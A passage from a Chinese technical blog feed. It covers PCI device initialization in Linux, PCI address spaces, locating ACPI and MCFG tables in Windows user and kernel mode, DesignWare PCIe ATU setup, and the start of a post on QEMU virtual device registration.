audio&quot;</span>);</span><br><span class="line">pci_request_selected_regions(pdev, ((<span class="number">1</span> &lt;&lt; <span class="number">6</span>) - <span class="number">1</span>), res_name);&#123;</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">6</span>; i++)&#123;</span><br><span class="line">__pci_request_region(pdev, i, res_name, excl))&#123;</span><br><span class="line"><span class="keyword">if</span> (pci_resource_flags(pdev, bar) &amp; IORESOURCE_IO)&#123;</span><br><span class="line">request_region(pci_resource_start(pdev, bar),pci_resource_len(pdev, bar), res_name)<span class="comment">// 不做啥, 只是告诉内核要用这个内存</span></span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">__request_mem_region(pci_resource_start(pdev, bar),pci_resource_len(pdev, bar), res_name,exclusive)<span class="comment">//不做啥, 只是告诉内核要用这个内存</span></span><br><span class="line">&#125;</span><br><span class="line">dr = find_pci_dr(pdev);</span><br><span class="line"><span class="keyword">if</span> (dr)</span><br><span class="line">dr-&gt;region_mask |= <span class="number">1</span> &lt;&lt; bar;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// ioremap</span></span><br><span class="line">addr = pci_resource_start(pci, <span class="number">0</span>);<span class="comment">// get bar0</span></span><br><span class="line">ioremap(addr, pci_resource_len(pdev, <span class="number">0</span>));</span><br><span class="line">pci_set_master(pci);</span><br><span class="line">__pci_set_master(<span class="keyword">struct</span> pci_dev *dev, <span class="type">bool</span> enable)&#123;</span><br><span class="line">            pci_read_config_word(dev, PCI_COMMAND, &amp;old_cmd);</span><br><span class="line">cmd = old_cmd | PCI_COMMAND_MASTER;</span><br><span class="line">pci_write_config_word(dev, PCI_COMMAND, cmd);</span><br><span class="line">        &#125;</span><br><span class="line">pcibios_set_master(dev);&#123;</span><br><span class="line">            <span class="keyword">if</span> (pci_is_pcie(dev))</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line">            pci_read_config_byte(dev, PCI_LATENCY_TIMER, &amp;lat);</span><br><span class="line">            <span class="keyword">if</span> (lat &lt; <span class="number">16</span>)</span><br><span class="line">                lat = (<span class="number">64</span> &lt;= pcibios_max_latency) ? <span class="number">64</span> : pcibios_max_latency;</span><br><span class="line">            <span class="keyword">else</span> <span class="keyword">if</span> (lat &gt; pcibios_max_latency)</span><br><span class="line">                lat = pcibios_max_latency;</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line">            pci_write_config_byte(dev, PCI_LATENCY_TIMER, lat);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">pci_pm_init</span><span class="params">(<span class="keyword">struct</span> pci_dev *dev)</span>&#123;</span><br><span class="line">    pm = pci_find_capability(dev, PCI_CAP_ID_PM)&#123;</span><br><span class="line">        pos = __pci_bus_find_cap_start(dev-&gt;bus, dev-&gt;devfn, dev-&gt;hdr_type)&#123;</span><br><span class="line">            pci_bus_read_config_word(bus, devfn, PCI_STATUS, &amp;status);</span><br><span class="line">            <span class="keyword">if</span> (!(status &amp; PCI_STATUS_CAP_LIST))</span><br><span class="line">                <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">switch</span> (hdr_type) &#123;</span><br><span class="line">            <span class="keyword">case</span> PCI_HEADER_TYPE_NORMAL:</span><br><span class="line">            <span class="keyword">case</span> PCI_HEADER_TYPE_BRIDGE:</span><br><span class="line">                <span class="keyword">return</span> PCI_CAPABILITY_LIST;</span><br><span class="line">            <span class="keyword">case</span> PCI_HEADER_TYPE_CARDBUS:</span><br><span class="line">                <span class="keyword">return</span> PCI_CB_CAPABILITY_LIST;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (pos)</span><br><span class="line">            pos = __pci_find_next_cap(dev-&gt;bus, dev-&gt;devfn, pos, cap)&#123;</span><br><span class="line">                <span class="type">int</span> ttl = PCI_FIND_CAP_TTL;</span><br><span class="line">                <span class="keyword">return</span> __pci_find_next_cap_ttl(bus, devfn, pos, cap, &amp;ttl)&#123;</span><br><span class="line">                    pci_bus_read_config_byte(bus, devfn, pos, &amp;pos);</span><br><span class="line"></span><br><span class="line">                    <span class="keyword">while</span> ((*ttl)--) &#123;</span><br><span class="line">                        <span class="keyword">if</span> (pos &lt; <span class="number">0x40</span>)</span><br><span class="line">                            <span class="keyword">break</span>;</span><br><span class="line">                        pos &amp;= ~<span class="number">3</span>;</span><br><span class="line">                        pci_bus_read_config_word(bus, devfn, pos, &amp;ent);</span><br><span class="line"></span><br><span class="line">                        id = ent &amp; <span class="number">0xff</span>;</span><br><span class="line">                        <span class="keyword">if</span> (id == <span class="number">0xff</span>)</span><br><span class="line">                            <span class="keyword">break</span>;</span><br><span class="line">                        <span class="keyword">if</span> (id == cap)</span><br><span class="line">                            <span class="keyword">return</span> pos;</span><br><span class="line">                        pos = (ent &gt;&gt; <span class="number">8</span>);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> pos;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="名词解析"><a href="#名词解析" class="headerlink" title="名词解析"></a>名词解析</h1><h3 id="PCI-Address-Domain"><a href="#PCI-Address-Domain" class="headerlink" title="PCI Address Domain"></a>PCI Address Domain</h3><p>The PCI address domain consists of three distinct address spaces: configuration, memory, and I&#x2F;O space. </p><h3 id="PCI-Configuration-Address-Space"><a href="#PCI-Configuration-Address-Space" class="headerlink" title="PCI Configuration Address Space"></a>PCI Configuration Address Space</h3><p>Configuration space is defined geographically; in other words, the  location of a peripheral device is determined by its physical location  within an interconnected tree of PCI bus bridges. A device is located by  its <strong>bus number</strong> and <strong>device</strong> (<strong>slot</strong>) <strong>number</strong>.  Each peripheral device contains a set of well-defined configuration  registers in its PCI configuration space. The registers are used not  only to identify devices but also to supply device configuration  information to the configuration framework. For example, base address  registers in the device configuration space must be mapped before a  device can respond to data access.  </p><p>The method for generating configuration cycles is host dependent. In  IA machines, special I&#x2F;O ports are used. On other platforms, the PCI  configuration space can be memory-mapped to certain address locations  corresponding to the PCI host bridge in the host address domain. When a  device configuration register is accessed by the processor, the request  is routed to the PCI host bridge. The bridge then translates the access  into proper configuration cycles on the bus. </p><h3 id="PCI-Configuration-Base-Address-Registers"><a href="#PCI-Configuration-Base-Address-Registers" class="headerlink" title="PCI Configuration Base Address Registers"></a>PCI Configuration Base Address Registers</h3><p>The PCI configuration space consists of up to six 32-bit base address  registers for each device. These registers provide both size and data  type information. System firmware assigns base addresses in the PCI  address domain to these registers.  </p><p>Each addressable region can be either memory or I&#x2F;O space. The value  contained in bit 0 of the base address register identifies the type. A  value of 0 in bit 0 indicates a memory space and a value of 1 indicates  an I&#x2F;O space. <a href="https://docs.oracle.com/cd/E19455-01/805-7378/6j6un038j/index.html#hwovr-fig-29">Figure A-4</a> shows two base address registers: one for memory; the other for I&#x2F;O types.</p><p>Figure A-4  Base Address Registers for Memory and I&#x2F;O</p><p><img src="/images/PCI/hwovr.fig69.epsi.gif" alt="Graphic"></p><h3 id="PCI-Memory-Address-Space"><a href="#PCI-Memory-Address-Space" class="headerlink" title="PCI Memory Address Space"></a>PCI Memory Address Space</h3><p>PCI supports both 32-bit and 64-bit addresses for memory space.  System firmware assigns regions of memory space in the PCI address  domain to PCI peripherals. The base address of a region is stored in the  base address register of the device’s PCI configuration space. The size  of each region must be a power of two, and the assigned base address  must be aligned on a boundary equal to the size of the region. Device  addresses in memory space are <strong>memory-mapped</strong> into the host address  domain so that data access to any device can be performed by the  processor’s native load or store instructions.  </p><h3 id="PCI-I-x2F-O-Address-Space"><a href="#PCI-I-x2F-O-Address-Space" class="headerlink" title="PCI I&#x2F;O Address Space"></a>PCI I&#x2F;O Address Space</h3><p>PCI supports 32-bit I&#x2F;O space. I&#x2F;O space can be accessed differently  on different platforms. Processors with special I&#x2F;O instructions, like  the Intel processor family, access the I&#x2F;O space with <code>in</code> and <code>out</code>  instructions. Machines without special I&#x2F;O instructions will map to the  address locations corresponding to the PCI host bridge in the host  address domain. When the processor accesses the memory-mapped addresses,  an I&#x2F;O request will be sent to the PCI host bridge. It then translates  the addresses into I&#x2F;O cycles and puts them on the PCI bus.  Memory-mapped I&#x2F;O is performed by the native load&#x2F;store instructions of  the processor.   </p><h3 id="PCI-Hardware-Configuration-Files"><a href="#PCI-Hardware-Configuration-Files" class="headerlink" title="PCI Hardware Configuration Files"></a>PCI Hardware Configuration Files</h3><p>Hardware configuration files should be unnecessary for PCI local bus  devices. However, on some occasions drivers for PCI devices need to use  hardware configuration files to augment the driver private information.  See <a href="https://docs.oracle.com/docs/cd/E19455-01/806-0633/6j9vn6q3i/index.html">driver.conf(4)</a> and <a href="https://docs.oracle.com/docs/cd/E19455-01/806-0633/6j9vn6q61/index.html">pci(4)</a> for further details. </p><h1 id="额外信息"><a href="#额外信息" class="headerlink" title="额外信息"></a>额外信息</h1><p><strong>pci_mcfg_lookup</strong></p><p><img src="/images/PCI/1566376943595.png" alt="1566376943595"></p><p><strong>Get bus number in windows</strong></p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Get the BusNumber</span></span><br><span class="line">status = <span class="built_in">WdfDeviceQueryProperty</span>( device,</span><br><span class="line">DevicePropertyBusNumber,</span><br><span class="line"><span class="built_in">sizeof</span>(ULONG),</span><br><span class="line">(PVOID)&amp;busNumber,</span><br><span class="line">&amp;length);</span><br><span class="line"><span class="keyword">if</span> ( !<span class="built_in">NT_SUCCESS</span>(status) )</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">error_print</span>(<span class="string">&quot;Failed to get PCIe bus number.&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// <span class="doctag">NOTE:</span> https://lkml.org/lkml/2013/12/5/256 says: the &quot;change to</span></span><br><span class="line"><span class="comment">// definition of the &quot;Bus&quot; field into the recently released ACPI</span></span><br><span class="line"><span class="comment">// Spec 5.0a section 18.3.2.3-5: ... The Bus is encoded in bits 0-7.</span></span><br><span class="line"><span class="comment">// For systems that expose multiple PCI segment groups, the segment</span></span><br><span class="line"><span class="comment">// number is encoded in bits 8-23 and bits 24-31 must be zero.&quot;</span></span><br><span class="line">devContext-&gt;pcie_bus = (<span class="type">uint8_t</span>)busNumber;</span><br><span class="line">devContext-&gt;pcie_segment = (busNumber &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xFFFF</span>;</span><br></pre></td></tr></table></figure><h2 id="ACPI"><a href="#ACPI" class="headerlink" title="ACPI"></a>ACPI</h2><p>ACPI（Advanced Configuration and Power Interface）Table是BIOS提供给OSPM的硬件配置数据，包括系统硬件的电源管理和配置管理，ACPI Table有很多表，根据存储的位置，可以分为：</p><p>1） RSDP位于F段，用于OSPM搜索ACPI Table，RSDP可以定位其他所有ACPI Table</p><p>2） FACS位于ACPI NVS内存，用于系统进行S3保存的恢复指针，内存为NV Store</p><p>3） 剩下所有ACPI Table都位于ACPI Reclaim内存，进入OS后，内存可以释放</p><p><img src="/images/PCI/acpitable.JPG" alt="img"></p><p>其中绿色代表在内存F段，蓝色是ACPI Reclaim内存，红色是NV store内存.</p><p>整个ACPI表以RSDP（Root System Descriptor Pointer<br>Table）为入口点，每个非叶子节点都会包含指向其他子表的指针，各个表都会有一个表头，在该表头中包含了相应的Signature，用于标识该表，有点类似与该表的ID，除此之外，在表头中还会包含Checksum、Revision、OEM ID等信息。所以查找ACPI表的关键就是在内存中定位到RSDP表。</p><p>对于基于Legacy BIOS的系统而言，RSDP表所在的物理地址并不固定，要么位于EBDA（Extended BIOS Data Area, 位于物理地址0x40E）的前1KB范围内；要么位于0x000E0000 到0x000FFFFF的物理地址范围内。Linux kernel在启动的时候，会去这两个物理地址范围，通过遍历物理地址空间的方法寻找RSDP表，即通过寻找RSDP表的Signature（RSD PTR）来定位RSDP的位置，并通过该表的length和checksum来确保找到的表是正确的。</p><h3 id="示例-1"><a href="#示例-1" class="headerlink" title="示例"></a>示例</h3><p><img src="/images/PCI/1646299430462.png" alt="1646299430462"></p><p>The RSDT is the main System Description Table. However there are many  kinds of SDT. All the SDT may be split into two parts. One (the header)  which is <strong>common</strong> to all the SDT an another (data) which is <strong>different</strong> for  each table. </p><p>The header structure of the header is: </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ACPISDTHeader</span> &#123;</span></span><br><span class="line">  <span class="type">char</span> Signature[<span class="number">4</span>];</span><br><span class="line">  <span class="type">uint32_t</span> Length;</span><br><span class="line">  <span class="type">uint8_t</span> Revision;</span><br><span class="line">  <span class="type">uint8_t</span> Checksum;</span><br><span class="line">  <span class="type">char</span> OEMID[<span class="number">6</span>];<span class="comment">//0x10</span></span><br><span class="line">  <span class="type">char</span> OEMTableID[<span class="number">8</span>];</span><br><span class="line">  <span class="type">uint32_t</span> OEMRevision;</span><br><span class="line">  <span class="type">uint32_t</span> CreatorID;<span class="comment">//0x20</span></span><br><span class="line">  <span class="type">uint32_t</span> CreatorRevision;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>通过暴力搜索内存中的”RSD PTR”字符串, 找到对应的内容. 定位+0x10指向的地址, 得到RSDT表.<a href="https://www.youtube.com/watch?v=dWrAaawmgvQ">参考视频</a></p><p><img src="/images/PCI/1566447934665.png" alt="1566447934665"></p><p><img src="/images/PCI/1566448122215.png" alt="1566448122215"></p><p><strong>MCFG table:</strong></p><p><img src="/images/PCI/1566376865146.png" alt="1566376865146"></p><p>其中44(0x2C)位置的 Base Address of enhanced configuration mechanism 就是 segment(有的成为group) 为 0 的<strong>MMConfig</strong> 的地址.</p><p><img src="/images/PCI/1566448244626.png" alt="1566448244626"></p><h2 id="Get-MMCFG-or-MCFG-in-kernel"><a href="#Get-MMCFG-or-MCFG-in-kernel" class="headerlink" title="Get MMCFG or MCFG in kernel"></a>Get MMCFG or MCFG in kernel</h2><p><a href="https://stackoverflow.com/questions/52136259/how-to-access-pci-express-configuration-space-via-mmio">How to access pci express configuration space via MMIO?</a> , <a href="http://developer.amd.com/wordpress/media/2012/10/pci%20-%20pci%20express%20configuration%20space%20access.pdf">pci express configuration space access</a> .</p><h3 id="windows-用户态"><a href="#windows-用户态" class="headerlink" title="windows 用户态"></a>windows 用户态</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">UINT WINAPI <span class="title function_">EnumSystemFirmwareTables</span><span class="params">(</span></span><br><span class="line"><span class="params">     _In_ DWORD FirmwareTableProviderSignature,</span></span><br><span class="line"><span class="params">     _Out_writes_bytes_to_opt_(BufferSize, <span class="keyword">return</span>) PVOID pFirmwareTableEnumBuffer,</span></span><br><span class="line"><span class="params">     _In_ DWORD BufferSize</span></span><br><span class="line"><span class="params">)</span>;</span><br><span class="line">UINT WINAPI <span class="title function_">GetSystemFirmwareTable</span><span class="params">(</span></span><br><span class="line"><span class="params">    _In_ DWORD FirmwareTableProviderSignature,</span></span><br><span class="line"><span class="params">    _In_ DWORD FirmwareTableID,</span></span><br><span class="line"><span class="params">    _Out_writes_bytes_to_opt_(BufferSize, <span class="keyword">return</span>) PVOID pFirmwareTableBuffer,</span></span><br><span class="line"><span class="params">    _In_ DWORD BufferSize</span></span><br><span class="line"><span class="params">)</span>;</span><br><span class="line"><span class="comment">// 第一次先取得 ACPI Tables Enum Buffer Size</span></span><br><span class="line">PBYTE buffer;</span><br><span class="line">DWORD buffer_size = EnumSystemFirmwareTables(<span class="string">&#x27;ACPI&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (buffer_size == <span class="number">0</span>)</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 產生一塊Buffer去取得 ACPI Tables Enum</span></span><br><span class="line">buffer = new BYTE[buffer_size];</span><br><span class="line"><span class="keyword">if</span> (EnumSystemFirmwareTables(<span class="string">&#x27;ACPI&#x27;</span>, buffer, buffer_size) != buffer_size)</span><br><span class="line">&#123;</span><br><span class="line">   <span class="built_in">free</span>(buffer);</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">or</span><br><span class="line">   PBYTE table_uffer;</span><br><span class="line">   DWORD table_buffer_size;</span><br><span class="line"><span class="comment">// read MCFG table</span></span><br><span class="line">   <span class="keyword">if</span>(GetSystemFirmwareTable(<span class="string">&#x27;ACPI&#x27;</span>, <span class="string">&#x27;GFCM&#x27;</span>, table_uffer, buffer_size))&#123;</span><br><span class="line">      <span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">sACPITableHeader</span> &#123;</span></span><br><span class="line">         BYTESignature[<span class="number">4</span>];</span><br><span class="line">         DWORDLength;</span><br><span class="line">         BYTERevision;</span><br><span class="line">         BYTEChecksum;</span><br><span class="line">         BYTEOEMID[<span class="number">6</span>];</span><br><span class="line">         BYTEOEMTableID[<span class="number">8</span>];</span><br><span class="line">         DWORDOEMRevision;</span><br><span class="line">         BYTECreatorID[<span class="number">4</span>];</span><br><span class="line">         DWORDCreatorRevision;</span><br><span class="line">     &#125; sACPITableHeader;</span><br><span class="line"></span><br><span class="line">     <span class="comment">// 取的 ACPI Table Buffer</span></span><br><span class="line">     <span class="comment">//... </span></span><br><span class="line">   &#125; </span><br></pre></td></tr></table></figure><h3 id="windows-内核态"><a href="#windows-内核态" class="headerlink" title="windows 内核态"></a>windows 内核态</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;aux_klib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib, <span class="string">&quot;Aux_Klib.lib&quot;</span>)</span></span><br><span class="line"><span class="type">void</span> * <span class="title function_">kzalloc</span><span class="params">(u32 size, u32 notuse)</span> &#123;</span><br><span class="line">UNREFERENCED_PARAMETER(notuse);</span><br><span class="line"><span class="type">void</span> *mem = ExAllocatePool(NonPagedPool, size);</span><br><span class="line"><span class="built_in">memset</span>(mem, <span class="number">0</span>, size);</span><br><span class="line"><span class="keyword">return</span> mem;</span><br><span class="line">&#125;</span><br><span class="line">u32 *pFirmwareTableEnumBuffer = kzalloc(<span class="number">0x4000</span>, <span class="number">0</span>);</span><br><span class="line">ret = AuxKlibInitialize();</span><br><span class="line">u32 ret = AuxKlibGetSystemFirmwareTable(</span><br><span class="line"><span class="string">&#x27;ACPI&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;GFCM&#x27;</span>,<span class="comment">//MCFG</span></span><br><span class="line">pFirmwareTableEnumBuffer,</span><br><span class="line"><span class="number">0x4000</span>,</span><br><span class="line">&amp;len</span><br><span class="line">);</span><br><span class="line">or </span><br><span class="line">ntStatus = AuxKlibEnumerateSystemFirmwareTables(</span><br><span class="line">   <span class="string">&#x27;ACPI&#x27;</span>,</span><br><span class="line">   <span class="literal">NULL</span>,</span><br><span class="line">   <span class="number">0</span>,</span><br><span class="line">   &amp;sigListSize</span><br><span class="line">   );</span><br><span class="line">buff = kzalloc(sigListSize);</span><br><span class="line">ntStatus = AuxKlibEnumerateSystemFirmwareTables(</span><br><span class="line">   <span class="string">&#x27;ACPI&#x27;</span>,</span><br><span class="line">   buff,</span><br><span class="line">   sigListSize,</span><br><span class="line">   <span class="literal">NULL</span></span><br><span class="line">   );</span><br></pre></td></tr></table></figure><h2 id="ATU-Address-Translation-Unit"><a href="#ATU-Address-Translation-Unit" class="headerlink" title="ATU(Address Translation Unit)"></a>ATU(Address Translation Unit)</h2><p>TLP中的地址哪里来？ATU转换过来的。这个问题就是这么的简单。ATU是什么？是一个地址转换单元，负责将一段存储器域的地址转换到PCIe总线域地址，除了地址转换外，还能提供访问类型等信息，这些信息都是ATU根据总线上的信号自己做的，数据都打包到TLP中，不用软件参与。软件需要做的是配置ATU，所以如果ATU配置完成，并且能正常工作，那么CPU访问PCIe空间就和访问本地存储器空间方法是一样的，只要读写即可。</p><p>这就解释了存储器地址和TLP地址字段的关系了。至此，地址相关的问题就解决了。</p><p>ATU配置举例：以kernel 4.4中designware PCIe host驱动为例</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">static void dw_pcie_prog_outbound_atu(struct pcie_port *pp, int index,</span><br><span class="line">int type, u64 cpu_addr, u64 pci_addr, u32 size)</span><br><span class="line">&#123;</span><br><span class="line">    // 使用哪个ATU</span><br><span class="line">dw_pcie_writel_rc(pp, PCIE_ATU_REGION_OUTBOUND | index,</span><br><span class="line">  PCIE_ATU_VIEWPORT);</span><br><span class="line">    // source地址（存储器域）的低32位</span><br><span class="line">dw_pcie_writel_rc(pp, lower_32_bits(cpu_addr), PCIE_ATU_LOWER_BASE);</span><br><span class="line">dw_pcie_writel_rc(pp, upper_32_bits(cpu_addr), PCIE_ATU_UPPER_BASE);</span><br><span class="line">    // space size</span><br><span class="line">dw_pcie_writel_rc(pp, lower_32_bits(cpu_addr + size - 1),</span><br><span class="line">  PCIE_ATU_LIMIT);</span><br><span class="line">    // 目标地址空间（PCIe总线地址）</span><br><span class="line">dw_pcie_writel_rc(pp, lower_32_bits(pci_addr), PCIE_ATU_LOWER_TARGET);</span><br><span class="line">dw_pcie_writel_rc(pp, upper_32_bits(pci_addr), PCIE_ATU_UPPER_TARGET);</span><br><span class="line">    // 空间类型（mem or IO）</span><br><span class="line">dw_pcie_writel_rc(pp, type, PCIE_ATU_CR1);</span><br><span class="line">    // 使能ATU</span><br><span class="line">dw_pcie_writel_rc(pp, PCIE_ATU_ENABLE, PCIE_ATU_CR2);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;经常和虚拟化打交道, 一定会涉及到虚拟设备的初始化, 这就需要对硬件的初始化操作有一定的了解. 初始化硬件设备, 主要就是激活IO port 和IO memory的功能, 对于一些PCIe设备, 还可能需要激活一些capabilities. 本文的内容不是有条理的介绍, 更偏向于资料的整理. 希望可以帮助到大家.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>QEMU虚拟化设备简介</title>
    <link href="http://474172261.github.io/2023/02/22/qemu-virtual-device-init/"/>
    <id>http://474172261.github.io/2023/02/22/qemu-virtual-device-init/</id>
    <published>2023-02-22T11:54:44.243Z</published>
    <updated>2022-09-02T07:15:06.000Z</updated>
    
    <content type="html"><![CDATA[<p>简单介绍qemu的虚拟化组件的初始化和入口</p><span id="more"></span><p>虚拟化设备分为两类, 一种是<strong>全虚拟化</strong>, 一种是<strong>半虚拟化</strong>.</p><p>一般来说, 全虚拟化设备是指设备相关的实现都在物理机的用户态, 半虚拟化是部分实现在物理机的内核态. 一个常见的半虚拟化标准是virtio设备标准.</p><blockquote><p>但是不同平台的不同虚拟化软件, 对同一个虚拟化设备的实现存在差异, 所以也不一定是按前面的说法去实现的. </p></blockquote><h1 id="传统IO设备"><a href="#传统IO设备" class="headerlink" title="传统IO设备"></a>传统IO设备</h1><p>传统的IO设备是全虚拟化设备, 此类设备有IO port及IO memory, 可以通过写IO相关的端口或者内存实现设备交互. </p><h1 id="虚拟设备的注册"><a href="#虚拟设备的注册" class="headerlink" title="虚拟设备的注册"></a>虚拟设备的注册</h1><p>qemu的每个虚拟化设备都会调用 type_init() 确认设备的注册操作, 调用 type_register&#x2F;type_register_static 来注册一个虚拟设备, 传入的结构体如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">TypeInfo</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="type">const</span> <span class="type">char</span> *name;</span><br><span class="line">    <span class="type">const</span> <span class="type">char</span> *parent;</span><br><span class="line"></span><br><span class="line">    <span class="type">size_t</span> instance_size;</span><br><span class="line">    <span class="type">size_t</span> instance_align;</span><br><span class="line">    <span class="type">void</span> (*instance_init)(Object *obj);</span><br><span class="line">    <span class="type">void</span> (*instance_post_init)(Object *obj);</span><br><span class="line">    <span class="type">void</span> (*instance_finalize)(Object *obj);</span><br><span class="line"></span><br><span class="line">    <span class="type">bool</span> abstract;</span><br><span class="line">    <span class="type">size_t</span> class_size;</span><br><span class="line"></span><br><span class="line">    <span class="type">void</span> (*class_init)(ObjectClass *klass, <span class="type">void</span> *data);</span><br><span class="line">    <span class="type">void</span> (*class_base_init)(ObjectClass *klass, <span class="type">void</span> *data);</span><br><span class="line">    <span class="type">void</span> *class_data;</span><br><span class="line"></span><br><span class="line">    InterfaceInfo *interfaces;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>以e1000为例的设备注册操作:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">e1000_register_types</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> i;</span><br><span class="line"></span><br><span class="line">    type_register_static(&amp;e1000_base_info);</span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; ARRAY_SIZE(e1000_devices); i++) &#123;</span><br><span class="line">        <span class="type">const</span> E1000Info *info = &amp;e1000_devices[i];</span><br><span class="line">        TypeInfo type_info = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">        type_info.name = info-&gt;name;</span><br><span class="line">        type_info.parent = TYPE_E1000_BASE;</span><br><span class="line">        type_info.class_data = (<span class="type">void</span> *)info;</span><br><span class="line">        type_info.class_init = e1000_class_init;</span><br><span 